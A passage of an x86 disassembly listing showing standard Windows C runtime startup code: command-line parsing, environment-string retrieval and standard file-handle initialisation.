		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_429FC0
		add	esp, 14h
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	dword_4EF88C, eax
		mov	ecx, [ebp+var_8]
		mov	dword_4EF890, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429FC0	proc near		; CODE XREF: sub_429EE0+65p
					; sub_429EE0+B8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_429FF5
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx


loc_429FF5:				; CODE XREF: sub_429FC0+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_42A0CD


loc_42A004:				; CODE XREF: sub_429FC0:loc_42A08Dj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_42A092
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42A092
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, byte_4EFE61[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42A067
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42A067
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42A067:				; CODE XREF: sub_429FC0+76j
					; sub_429FC0+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42A08D
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42A08D:				; CODE XREF: sub_429FC0+B8j
		jmp	loc_42A004
; ---------------------------------------------------------------------------


loc_42A092:				; CODE XREF: sub_429FC0+56j
					; sub_429FC0+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42A0B4
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_42A0B4:				; CODE XREF: sub_429FC0+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42A0C8
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42A0C8:				; CODE XREF: sub_429FC0+FDj
		jmp	loc_42A19C
; ---------------------------------------------------------------------------


loc_42A0CD:				; CODE XREF: sub_429FC0+3Ej
					; sub_429FC0+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42A0F3
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42A0F3:				; CODE XREF: sub_429FC0+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4EFE61[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_42A14B
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42A142
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42A142:				; CODE XREF: sub_429FC0+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42A14B:				; CODE XREF: sub_429FC0+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_42A177
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_42A177
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_42A0CD


loc_42A177:				; CODE XREF: sub_429FC0+197j
					; sub_429FC0+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_42A18F
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42A19C
; ---------------------------------------------------------------------------


loc_42A18F:				; CODE XREF: sub_429FC0+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_42A19C
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0


loc_42A19C:				; CODE XREF: sub_429FC0:loc_42A0C8j
					; sub_429FC0+1CDj ...
		mov	[ebp+var_14], 0


loc_42A1A3:				; CODE XREF: sub_429FC0+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42A1CE


loc_42A1AD:				; CODE XREF: sub_429FC0+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42A1C3
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42A1CE


loc_42A1C3:				; CODE XREF: sub_429FC0+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42A1AD
; ---------------------------------------------------------------------------


loc_42A1CE:				; CODE XREF: sub_429FC0+1EBj
					; sub_429FC0+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42A1DD
		jmp	loc_42A3BB
; ---------------------------------------------------------------------------


loc_42A1DD:				; CODE XREF: sub_429FC0+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_42A1F4
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_42A1F4:				; CODE XREF: sub_429FC0+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_42A201:				; CODE XREF: sub_429FC0+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0


loc_42A20F:				; CODE XREF: sub_429FC0+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_42A22E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_42A20F
; ---------------------------------------------------------------------------


loc_42A22E:				; CODE XREF: sub_429FC0+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42A28A
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_42A282
		cmp	[ebp+var_14], 0
		jz	short loc_42A26F
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_42A266
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42A26D
; ---------------------------------------------------------------------------


loc_42A266:				; CODE XREF: sub_429FC0+299j
		mov	[ebp+var_8], 0


loc_42A26D:				; CODE XREF: sub_429FC0+2A4j
		jmp	short loc_42A276
; ---------------------------------------------------------------------------


loc_42A26F:				; CODE XREF: sub_429FC0+28Dj
		mov	[ebp+var_8], 0


loc_42A276:				; CODE XREF: sub_429FC0:loc_42A26Dj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx


loc_42A282:				; CODE XREF: sub_429FC0+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax


loc_42A28A:				; CODE XREF: sub_429FC0+277j
					; sub_429FC0+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_42A2BE
		cmp	[ebp+arg_8], 0
		jz	short loc_42A2AF
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx


loc_42A2AF:				; CODE XREF: sub_429FC0+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_42A28A
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: sub_429FC0+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42A2E4
		cmp	[ebp+var_14], 0
		jnz	short loc_42A2E9
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42A2E4
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42A2E9


loc_42A2E4:				; CODE XREF: sub_429FC0+306j
					; sub_429FC0+317j
		jmp	loc_42A394
; ---------------------------------------------------------------------------


loc_42A2E9:				; CODE XREF: sub_429FC0+30Cj
					; sub_429FC0+322j
		cmp	[ebp+var_8], 0
		jz	loc_42A386
		cmp	[ebp+arg_8], 0
		jz	short loc_42A34D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4EFE61[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42A338
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx


loc_42A338:				; CODE XREF: sub_429FC0+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_42A379
; ---------------------------------------------------------------------------


loc_42A34D:				; CODE XREF: sub_429FC0+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4EFE61[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42A379
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_42A379:				; CODE XREF: sub_429FC0+38Bj
					; sub_429FC0+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_42A386:				; CODE XREF: sub_429FC0+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_42A201
; ---------------------------------------------------------------------------


loc_42A394:				; CODE XREF: sub_429FC0:loc_42A2E4j
		cmp	[ebp+arg_8], 0
		jz	short loc_42A3A9
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_42A3A9:				; CODE XREF: sub_429FC0+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_42A1A3
; ---------------------------------------------------------------------------


loc_42A3BB:				; CODE XREF: sub_429FC0+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_42A3D3
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_42A3D3:				; CODE XREF: sub_429FC0+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_429FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A3F0	proc near		; CODE XREF: .nsp0:0041EA7Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		cmp	dword_4EFAA0, 0
		jnz	short loc_42A44A
		call	dword_4F1304	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_42A428
		mov	dword_4EFAA0, 1
		jmp	short loc_42A44A
; ---------------------------------------------------------------------------


loc_42A428:				; CODE XREF: sub_42A3F0+2Aj
		call	dword_4F1308	; GetEnvironmentStrings
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42A443
		mov	dword_4EFAA0, 2
		jmp	short loc_42A44A
; ---------------------------------------------------------------------------


loc_42A443:				; CODE XREF: sub_42A3F0+45j
		xor	eax, eax
		jmp	loc_42A605
; ---------------------------------------------------------------------------


loc_42A44A:				; CODE XREF: sub_42A3F0+1Bj
					; sub_42A3F0+36j ...
		cmp	dword_4EFAA0, 1
		jnz	loc_42A54E
		cmp	[ebp+var_14], 0
		jnz	short loc_42A473
		call	dword_4F1304	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_42A473
		xor	eax, eax
		jmp	loc_42A605
; ---------------------------------------------------------------------------


loc_42A473:				; CODE XREF: sub_42A3F0+6Bj
					; sub_42A3F0+7Aj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax


loc_42A479:				; CODE XREF: sub_42A3F0:loc_42A4A3j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_42A4A5
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_42A4A3
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax


loc_42A4A3:				; CODE XREF: sub_42A3F0+A8j
		jmp	short loc_42A479
; ---------------------------------------------------------------------------


loc_42A4A5:				; CODE XREF: sub_42A3F0+93j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_14]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_42A4F4
		push	64h
		push	offset dword_4382F0
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42A505


loc_42A4F4:				; CODE XREF: sub_42A3F0+E4j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4F130C	; FreeEnvironmentStringsW
		xor	eax, eax
		jmp	loc_42A605
; ---------------------------------------------------------------------------


loc_42A505:				; CODE XREF: sub_42A3F0+102j
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4F141C	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_42A53C
		push	2
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_419980
		add	esp, 8
		mov	[ebp+var_18], 0


loc_42A53C:				; CODE XREF: sub_42A3F0+135j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4F130C	; FreeEnvironmentStringsW
		mov	eax, [ebp+var_18]
		jmp	loc_42A605
; ---------------------------------------------------------------------------


loc_42A54E:				; CODE XREF: sub_42A3F0+61j
		cmp	dword_4EFAA0, 2
		jnz	loc_42A603
		cmp	[ebp+var_18], 0
		jnz	short loc_42A577
		call	dword_4F1308	; GetEnvironmentStrings
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42A577
		xor	eax, eax
		jmp	loc_42A605
; ---------------------------------------------------------------------------


loc_42A577:				; CODE XREF: sub_42A3F0+16Fj
					; sub_42A3F0+17Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax


loc_42A57D:				; CODE XREF: sub_42A3F0:loc_42A5A3j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42A5A5
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42A5A3
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42A5A3:				; CODE XREF: sub_42A3F0+1A8j
		jmp	short loc_42A57D
; ---------------------------------------------------------------------------


loc_42A5A5:				; CODE XREF: sub_42A3F0+195j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		push	8Fh
		push	offset dword_4382F0
		push	2
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42A5E0
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4F1310	; FreeEnvironmentStringsA
		xor	eax, eax
		jmp	short loc_42A605
; ---------------------------------------------------------------------------


loc_42A5E0:				; CODE XREF: sub_42A3F0+1E0j
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	ecx, [ebp+var_18]
		push	ecx
		call	dword_4F1310	; FreeEnvironmentStringsA
		mov	eax, [ebp+var_C]
		jmp	short loc_42A605
; ---------------------------------------------------------------------------


loc_42A603:				; CODE XREF: sub_42A3F0+165j
		xor	eax, eax


loc_42A605:				; CODE XREF: sub_42A3F0+55j
					; sub_42A3F0+7Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42A3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A610	proc near		; CODE XREF: .nsp0:0041EA6Ep

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_16		= dword	ptr -16h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset dword_4382F8
		push	2
		push	480h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_42A642
		push	1Bh
		call	sub_41EB30
		add	esp, 4


loc_42A642:				; CODE XREF: sub_42A610+26j
		mov	eax, [ebp+var_50]
		mov	dword_4EFC40, eax
		mov	dword_4EFD40, 20h
		jmp	short loc_42A65F
; ---------------------------------------------------------------------------


loc_42A656:				; CODE XREF: sub_42A610+81j
		mov	ecx, [ebp+var_50]
		add	ecx, 24h
		mov	[ebp+var_50], ecx


loc_42A65F:				; CODE XREF: sub_42A610+44j
		mov	edx, dword_4EFC40
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_42A693
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42A656
; ---------------------------------------------------------------------------


loc_42A693:				; CODE XREF: sub_42A610+5Ej
		lea	ecx, [ebp+var_48]
		push	ecx
		call	dword_4F1458	; GetStartupInfoA
		mov	edx, [ebp+var_16]
		and	edx, 0FFFFh
		test	edx, edx
		jz	loc_42A835
		cmp	[ebp+var_16+2],	0
		jz	loc_42A835
		mov	eax, [ebp+var_16+2]
		mov	ecx, [eax]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_16+2]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_64]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_64], 800h
		jge	short loc_42A6E3
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_68], ecx
		jmp	short loc_42A6EA
; ---------------------------------------------------------------------------


loc_42A6E3:				; CODE XREF: sub_42A610+C9j
		mov	[ebp+var_68], 800h


loc_42A6EA:				; CODE XREF: sub_42A610+D1j
		mov	edx, [ebp+var_68]
		mov	[ebp+var_64], edx
		mov	[ebp+var_5C], 1
		jmp	short loc_42A702
; ---------------------------------------------------------------------------


loc_42A6F9:				; CODE XREF: sub_42A610:loc_42A79Dj
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax


loc_42A702:				; CODE XREF: sub_42A610+E7j
		mov	ecx, dword_4EFD40
		cmp	ecx, [ebp+var_64]
		jge	loc_42A7A2
		push	0B6h
		push	offset dword_4382F8
		push	2
		push	480h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_42A73E
		mov	edx, dword_4EFD40
		mov	[ebp+var_64], edx
		jmp	short loc_42A7A2
; ---------------------------------------------------------------------------


loc_42A73E:				; CODE XREF: sub_42A610+121j
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_50]
		mov	dword_4EFC40[eax*4], ecx
		mov	edx, dword_4EFD40
		add	edx, 20h
		mov	dword_4EFD40, edx
		jmp	short loc_42A765
; ---------------------------------------------------------------------------


loc_42A75C:				; CODE XREF: sub_42A610+18Bj
		mov	eax, [ebp+var_50]
		add	eax, 24h
		mov	[ebp+var_50], eax


loc_42A765:				; CODE XREF: sub_42A610+14Aj
		mov	ecx, [ebp+var_5C]
		mov	edx, dword_4EFC40[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_42A79D
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42A75C
; ---------------------------------------------------------------------------


loc_42A79D:				; CODE XREF: sub_42A610+168j
		jmp	loc_42A6F9
; ---------------------------------------------------------------------------


loc_42A7A2:				; CODE XREF: sub_42A610+FBj
					; sub_42A610+12Cj
		mov	[ebp+var_58], 0
		jmp	short loc_42A7C6
; ---------------------------------------------------------------------------


loc_42A7AB:				; CODE XREF: sub_42A610:loc_42A830j
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_60]
		add	eax, 4
		mov	[ebp+var_60], eax


loc_42A7C6:				; CODE XREF: sub_42A610+199j
		mov	ecx, [ebp+var_58]
		cmp	ecx, [ebp+var_64]
		jge	short loc_42A835
		mov	edx, [ebp+var_60]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_42A830
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42A830
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		and	eax, 8
		test	eax, eax
		jnz	short loc_42A800
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		push	edx
		call	dword_4F12FC	; GetFileType
		test	eax, eax
		jz	short loc_42A830


loc_42A800:				; CODE XREF: sub_42A610+1DEj
		mov	eax, [ebp+var_58]
		sar	eax, 5
		mov	ecx, [ebp+var_58]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax+4], dl


loc_42A830:				; CODE XREF: sub_42A610+1C4j
					; sub_42A610+1D1j ...
		jmp	loc_42A7AB
; ---------------------------------------------------------------------------


loc_42A835:				; CODE XREF: sub_42A610+98j
					; sub_42A610+A2j ...
		mov	[ebp+var_58], 0
		jmp	short loc_42A847
; ---------------------------------------------------------------------------


loc_42A83E:				; CODE XREF: sub_42A610:loc_42A91Fj
		mov	eax, [ebp+var_58]
		add	eax, 1
		mov	[ebp+var_58], eax


loc_42A847:				; CODE XREF: sub_42A610+22Cj
		cmp	[ebp+var_58], 3
		jge	loc_42A924
		mov	ecx, [ebp+var_58]
		imul	ecx, 24h
		mov	edx, dword_4EFC40
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_42A910
		mov	ecx, [ebp+var_50]
		mov	byte ptr [ecx+4], 81h
		cmp	[ebp+var_58], 0
		jnz	short loc_42A884
		mov	[ebp+var_6C], 0FFFFFFF6h
		jmp	short loc_42A894
; ---------------------------------------------------------------------------


loc_42A884:				; CODE XREF: sub_42A610+269j
		mov	edx, [ebp+var_58]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp+var_6C], edx


loc_42A894:				; CODE XREF: sub_42A610+272j
		mov	eax, [ebp+var_6C]
		push	eax
		call	dword_4F1468	; GetStdHandle
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0FFFFFFFFh
		jz	short loc_42A8FF
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	dword_4F12FC	; GetFileType
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jz	short loc_42A8FF
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+var_4C]
		mov	[edx], eax
		mov	ecx, [ebp+var_54]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_42A8E0
		mov	edx, [ebp+var_50]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp+var_50]
		mov	[ecx+4], al
		jmp	short loc_42A8FD
; ---------------------------------------------------------------------------


loc_42A8E0:				; CODE XREF: sub_42A610+2BEj
		mov	edx, [ebp+var_54]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_42A8FD
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 8
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42A8FD:				; CODE XREF: sub_42A610+2CEj
					; sub_42A610+2DCj
